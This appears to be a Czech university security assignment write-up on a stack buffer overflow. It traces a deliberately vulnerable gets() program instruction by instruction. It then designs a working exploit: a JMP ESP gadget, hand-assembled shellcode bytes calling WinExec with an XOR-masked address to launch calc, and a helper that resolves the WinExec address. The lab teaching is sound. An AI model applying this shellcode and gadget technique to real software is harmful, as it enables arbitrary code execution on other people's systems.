## BI-BEK Přetečení bufferu

**Úkol č. 1.** Rozkreslete údaje na zásobníku tak, aby bylo zřejmé, kde je na zásobníku uložen buffer, kde byla záloha registru EBP, kde byla návratová adresa, kde jsou vstupní parametry, atd.

Prog.c

#include "stdio.h"

int main(int argc, char\*\* argv) {

char buffer[20];

printf("Zadej jmeno: ");

gets(buffer);

printf("Ahoj, %s.\n", buffer);

return 0;

}

Skompilovano pomici VS2017

# cl prog.c /GS- /c

# link prog.obj /NXCOMPAT:NO /DYNAMICBASE:NO

Output: prog.exe

Pri vstupu do main() ESP == 0057F764

|  |  |  |
| --- | --- | --- |
| 0057F764 | 001A1279 | Navratova adresa z funkce main() |

Address Command Comments

001A1000 | PUSH EBP ulozi se predchozi hodnota EBP

|  |  |  |
| --- | --- | --- |
| 0057F760 | 0057F7A8 | Predchozi EBP |
| 0057F764 | 001A1279 | Navratova adresa z funkce main() |

001A1001 | MOV EBP,ESP EBP se prepise actualni hodnotou ESP

001A1003 | SUB ESP,14 alokuje misto na zasobniku(size == 20 byte)

|  |  |  |
| --- | --- | --- |
| 0057F74C | 4B data | buffer |
| 0057F750 | 4B data | Buffer |
| 0057F754 | 4B data | Buffer |
| 0057F758 | 4B data | buffer |
| 0057F75C | 4B data | buffer |
| 0057F760 | 0057F7A8 | Predchozi EBP |
| 0057F764 | 001A1279 | Navratova adresa z funkce main() |

001A1006 | PUSH OFFSET 001BA000 ulozi se na stack vstupni hodnota funkcece printf()

|  |  |  |
| --- | --- | --- |
| 0057F748 | 001BA000 | Ukazatel na char[] |
| 0057F74C | 4B data | buffer |
| 0057F750 | 4B data | Buffer |
| 0057F754 | 4B data | Buffer |
| 0057F758 | 4B data | buffer |
| 0057F75C | 4B data | buffer |
| 0057F760 | 0057F7A8 | Predchozi EBP |
| 0057F764 | 001A1279 | Navratova adresa z funkce main() |

001A100B | CALL 001A1080 volani funkce printf()

001A1010 | ADD ESP,4 zruseni vstupniho argumentu f-ce printf() ze stacku

|  |  |  |
| --- | --- | --- |
| 0057F74C | 4B data | buffer |
| 0057F750 | 4B data | Buffer |
| 0057F754 | 4B data | Buffer |
| 0057F758 | 4B data | buffer |
| 0057F75C | 4B data | buffer |
| 0057F760 | 0057F7A8 | Predchozi EBP |
| 0057F764 | 001A1279 | Navratova adresa z funkce main() |

001A1013 | LEA EAX,[EBP-14] ulozi se do EAX ukazetel na buffer

001A1016 | PUSH EAX ulozi se na stack vstupni argument f-ce scanf()

|  |  |  |
| --- | --- | --- |
| 0057F748 | 0057F74C | Arg. f-ce scanf() (ukazatel na buffer) |
| 0057F74C | 4B data | buffer |
| 0057F750 | 4B data | Buffer |
| 0057F754 | 4B data | Buffer |
| 0057F758 | 4B data | buffer |
| 0057F75C | 4B data | buffer |
| 0057F760 | 0057F7A8 | Predchozi EBP |
| 0057F764 | 001A1279 | Navratova adresa z funkce main() |

001A1017 | CALL 001A4828 vilani f-ce scanf() (vstup: “1111222233334444555566667777”)

|  |  |  |
| --- | --- | --- |
| 0057F748 | 0057F74C | Arg. f-ce scanf() (ukazatel na buffer) |
| 0057F74C | 31313131 | buffer |
| 0057F750 | 32323232 | Buffer |
| 0057F754 | 33333333 | Buffer |
| 0057F758 | 34343434 | buffer |
| 0057F75C | 35353535 | buffer |
| 0057F760 | 36363636 | Predchozi EBP |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A101C | ADD ESP,4 zruseni vstupniho argumentu f-ce scanf() na stacku

|  |  |  |
| --- | --- | --- |
| 0057F74C | 31313131 | buffer |
| 0057F750 | 32323232 | Buffer |
| 0057F754 | 33333333 | Buffer |
| 0057F758 | 34343434 | buffer |
| 0057F75C | 35353535 | buffer |
| 0057F760 | 36363636 | Predchozi EBP |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A101F | LEA ECX,[EBP-14] ulozi se do ECX ukazatel na buffer

001A1022 | PUSH ECX ulozi se na stack ukazatel na buffer(jako arg f-ce printf())

|  |  |  |
| --- | --- | --- |
| 0057F748 | 0057F74C | Ukazatel na buffer |
| 0057F74C | 31313131 | buffer |
| 0057F750 | 32323232 | Buffer |
| 0057F754 | 33333333 | Buffer |
| 0057F758 | 34343434 | buffer |
| 0057F75C | 35353535 | buffer |
| 0057F760 | 36363636 | Predchozi EBP |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A1023 | PUSH OFFSET 001BA010 ulozi se na stack ukazatel na char[](jako arg f-ce printf())

|  |  |  |
| --- | --- | --- |
| 0057F744 | 001BA010 | Ukazatel na char[] |
| 0057F748 | 0057F74C | Ukazatel na buffer |
| 0057F74C | 31313131 | buffer |
| 0057F750 | 32323232 | Buffer |
| 0057F754 | 33333333 | Buffer |
| 0057F758 | 34343434 | buffer |
| 0057F75C | 35353535 | buffer |
| 0057F760 | 36363636 | Predchozi EBP |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A1028 | CALL 001A1080 volani printf() (vystup: “1111222233334444555566667777”)

001A102D | ADD ESP,8 zruseni vstupnich parametru f-ce printf() na stacku

|  |  |  |
| --- | --- | --- |
| 0057F74C | 31313131 | buffer |
| 0057F750 | 32323232 | Buffer |
| 0057F754 | 33333333 | Buffer |
| 0057F758 | 34343434 | buffer |
| 0057F75C | 35353535 | buffer |
| 0057F760 | 36363636 | Predchozi EBP |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A1030 | XOR EAX,EAX vynulovani EAX

001A1032 | MOV ESP,EBP navrat ESP k pocatecnemu stavu (ESP = 0057F760)

|  |  |  |
| --- | --- | --- |
| 0057F760 | 36363636 | Predchozi EBP |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A1034 | POP EBP navrat EBP k pocatecnemu stavu (prepsano EBP = 36363636)

|  |  |  |
| --- | --- | --- |
| 0057F764 | 37373737 | Navratova adresa z funkce main() |

001A1035 | RETN navrat na prepsanou adresu(37373737)

Pad programu, registr EIP == 37373737

**Úkol č. 2.** Navrhněte základní tvar vašeho exploitu. Určete, z jakých částí bude tvořen (např. "škodlivý kód", "adresa X", "délka Y", "výplň Z bajtů" apod.) a jakým způsobem ho do programu vložíte — můžete mít problémy např. s netisknutelnými znaky.

Ja pokusim zautocit na program prog.exe, kteremu jako vstupni posloupnost zadam predspracovany string a tim mi se otevri nejaky program(napr. Calc nebo browser).

Mam pomocny program exploit\_input.cc(bude prilozen) ktery vytvori vstup pro prog.exe.

Vstup bude mit takovou structuru:

1. TRASH\_BYTE(napr. 0x41) \* BUFFER\_SIZE pro zaplneni bufferu
2. TRASH\_BYTE(napr. 0x41) \* 4 pro prepsani EBP
3. BYTE \* 4 adresa v programovem pametovem prostoru ktera obsahuje instrukce typu: JMP ESP; CALL ESP; PUSH ESP, RET
4. BYTE \* 32 ShellCode

NOP \* 4 0x90,

LEA ECX,[ESP+20] 0x8d, 0x4c, 0xe4, 0x20,

XOR EAX,EAX 0x31, 0xc0,

PUSH EAX 0x50, 2 arg pro f-ce WinExec

PUSH ECX 0x51, 1 arg pro f-ce WinExec

MOV EAX,{WinExec address} 0xb8, 4B address ^ MASK

XOR EAX, MASK 0x35, 4B MASK

CALL EAX 0xff, 0xd0 volani f-ce WinExec

NOP \* 8 0x90

1. BYTE \* n prikaz ktery chci vyvolat pomoci WinExec (kde n je delka vstupniho stringu pro 1 arg. f-ce WinExec

**Bod 1 a 2** splnime trivialne.

**Bod 3:** uz je trochu tezsi, ja jsem pomocnym programem, ktery si nacita kernel32.dll a ntdll.dll(ty dll ma k dispozici prog.exe), binarne hledam posloupnost bytu: 0xFF 0xE4(JMP ESP), 0xFF 0xD4(CALL ESP) nebo 0x54 0xC3(PUSH ESP, RET). Mam problem prez terminal napsat 0x00 a 0x01, proto adresy obsahujici tyto byty neberu a hleam jiny.

**Bod 4**: adresu WinExec hledam pomocnym programem ktety nacte prislushnou dll a z ni nacte funkce WinExec a vrati mi jeji adresu.

LEA ECX,[ESP+20]: +20 protoze ESP se nachazi na zacatku bloku z bodu 4 a argument funkce WinExec lezi presne pod timto blokem, ktery ma delku 32B coz v hex 0x20.

**Bod 5:** je to jenom string pro 1 argument WinExec napr:

WinExec(“calc”, 0);

Winexec(“notepad”, 0);

Mam problemy do terminalu napsat 0x00 a 0x01(terminal to chape jako konec vstupu), a to muzu zapisovat jenom v pripade:

1. Adresa v bode 3
2. Adresa v bode 4
3. 2 Argument WinExec je nula
4. Na konci bodu 5 musim mit 0x00 jako ukoncovaci nulu stringu

**Reseni 1** hledam adresu neobsahujici ty byty

**Reseni 2** xoruju adresu s maskou, ktera defaultne je 0x3c 0x3c 0x3c 0x3c a muze se zmenit, jestli byte z adresy xor byte z masky bude mensi nez 0x02

**Reseni 3** XOR EAX,EAX; PUSH EAX ulozi na zasobnik 0x00 coz bude 2 vstupni parametr

**Reseni 4** funkce scanf automaticke da nulu na konci vstupu

**Úkol č. 3.** Nalezněte adresu systémové funkce, kterou byste použili pro exploitování, a popište mechanizmus nalezení takové adresy. Popis by měl být tak srozumitelný, jako kdyby ho měli realizovat vaši kolegové z prvního ročníku. Zdůvodněte také svoji volbu systémové funkce.

Ja jsem vybral funkce WinExec ktera je v Kernel32.dll protoze potrebuje jen 2 parametry, druhy muze byt nula a prvni bude prime jmeno programu(napr. C:\nejaka cesta\Calc.exe napisu primo calc)

Hledal adresu pomoci programu ktery nahraje poprve Kernel32.dll a pak nahraje funkce WinExec a tak zjisti jeji adresu.

HMODULE loadedDll = LoadLibrary(“Kernel32.dll”);

if (loadedDll) {

UINT(\*loadedWinExec)(LPCSTR, UINT)) = (UINT (\*)(LPCSTR, UINT))GetProcAddress(loadedDll, “WinExec”);

if (loadedWinExec) {

printf(“WinExec address 0x%p”, (void \*)loadedWinExec);

} else {

printf(“error”);

}

} else {

printf(“error”);

}

**Úkol č. 4**. Navrhněte kód exploitu, který zavolá vámi navrženou funkci a například spustí kalkulačku, zobrazí message box, nebo jinak demonstruje vládu útočníka nad systémem. Vysvětlete podrobně, jak exploit funguje a jaké podmínky k tomu potřebuje. Popište, jak uživatel kód do napadeného programu vloží — opět, představte si, že po telefonu instruujete mladšího kolegu, který má útok provést.

Program musi mit vypnute obrany proti prepsani bufferu a sam buffer musi byt executeble to zaridim nasledujicim spusobem:

Skompilovano pomici VS2017

# cl prog.c /GS- /c

# link prog.obj /NXCOMPAT:NO /DYNAMICBASE:NO

Output: prog.exe

Exploit funguje tak, ze prepise hodnotu na zasobniku, ktera puvodne byla navratovou adresou z funkce, na vlastni, ktera bude ukazovat na prikazy typu: JMP ESP, CALL ESP nebo PUSH ESP; RET. Ty adresy budu hledat v ntdll.dll nebo v kernel32.dll ktere prog.exe ma k dispozici, budu prohledavat po bytech, proto dll nemusi obsahovat presne ty prikazy, a staci najit spravnou posloupnost napr:

00000004: 0x44 0x32 0x44 0xff nejaky prikaz koncici na 0xff

00000008: 0xe4 0x33 0x76 nejaky prikaz zacinajici na 0xe4

Dale staci najit posloupnost 0xff 0xe4 a adresu 00000007 ktera ted ukazuje na prikaz JMP ESP(budu tomu rikat skokova adresa).

Pak potrebuju vedet adresu WinExec coz je udelano pomocnym programem, ktery si nacte kernel32.dll a zjisti adresu funkce, pak pokusi kazdy byte adresy sxorovat s 0x3c(MASK) a ejstli vysledek bude vetsi nez 0x01 tak mame vyhrano v opacnem pripade pokusi to sxorovat s 0x3d a tak dal, dokud nedostane vysledek.

Adrese WinExec ^ MASK budu rikat WM, a MASK jenom M.

Jeste musime vedet delku bufferu a pocet byte mezi koncem bufferu a navratovou hodnotou na zasobniku.

Kod muze vlozit bud presmerovanim streamu ze souboru(type output.bin | prog.exe) nebo rucne pomoci ALT + hodnota(v desitkove soustave).

Byte 0x00 a 0x01 zarucene tam existovat nebudou.

Po volani prikazu JMP ESP(na adrese addrX), adresou ktereho je prepsana navratova hodnota ESP se nastavi na addrX + 4; pak se provedou 4 nop, a pak instrukce LEA ECX,[ESP+20] do registru ECX zapise

ESP + 0x20, coz je presne misto pod hlavickou ShellCode krery ma 32B coz je 0x20B, proto dostanu platny ukazatel na zacatek argumentu pro WinExec, drugim argumentem pro WinExec muze byt nula, coz je zarizeno instrukci XOR EAX,EAX; PUSH EAX.

Mam pro to pripraveny program exploit\_input.cc, ktery ma v funkci main radku

ExploitCreater creater(winExecAdd, changeInstructionFlowAdd, "calc");

A za to calc muzu dat jakykoliv platny vstup a se musi dat spravne vysledky.

|  |  |  |
| --- | --- | --- |
| 00000070 | 0x41, 0x41, 0x41, 0x41 | Buffer(posledni 4 B) |
| 00000074 | 0x41, 0x41, 0x41, 0x41 | EBP(prepsano) |
| 00000078 | Skokova adresa | ESP(prepsano) |
| 0000007c | 0x90, 0x90, 0x90, 0x90 | Nops |
| 00000080 | 0x20, 0xe4, 0x4c, 0x8d | LEA ECX,[ESP+20]; |
| 00000084 | 0x51, 0x50, 0xc0, 0x31 | XOR EAX,EAX; PUSH EAX; PUSH ECX |
| 00000088 | WM, WM, WM, 0xb8 | MOV EAX,{WinExec address} |
| 0000008c | M, M ,0x35, WM | XOR EAX, MASK |
| 00000090 | 0xd0, 0xff, M, M | CALL EAX(WinExec) |
| 00000094 | 0x90, 0x90, 0x90, 0x90 | nops |
| 00000098 | 0x90, 0x90, 0x90, 0x90 | nops |
| 0000009c | Prikaz pro WinExec | Prvni arg. Win Exec |
| 000000a0 | Prikaz pro WinExec | Prvni arg. Win Exec |
| ...... | ...... | Prvni arg. Win Exec |
| 000001.. | 0x00 prikaz pro WinExec | Prvni arg. Win Exec a ukoncovaci nula |

* Po prechodu do ShellCode ESP == 0000007c, a v dobe vyhodnocovani LEA ECX,[ESP+20]

ESP se nezmenilo, pak do ECX bude zapsano 0000009c coz je zacatek argumentu WinExec.

* Nopy v tomto pripade nemaji zadny vliv na chovani utoku, ale byli tam dodany kvuli zarovnani bloku na 32B a pripadne uprave chyb bez globalni upravy kodu.
* Pomocny programm vypise v terminal posloupnost bytu kde na zacatku jsou chary a pak jsou hodnoty ktery musime zadat prez ALT + VALUE. Taky bude vytvoren binarni soubor default\_name == „output.bin“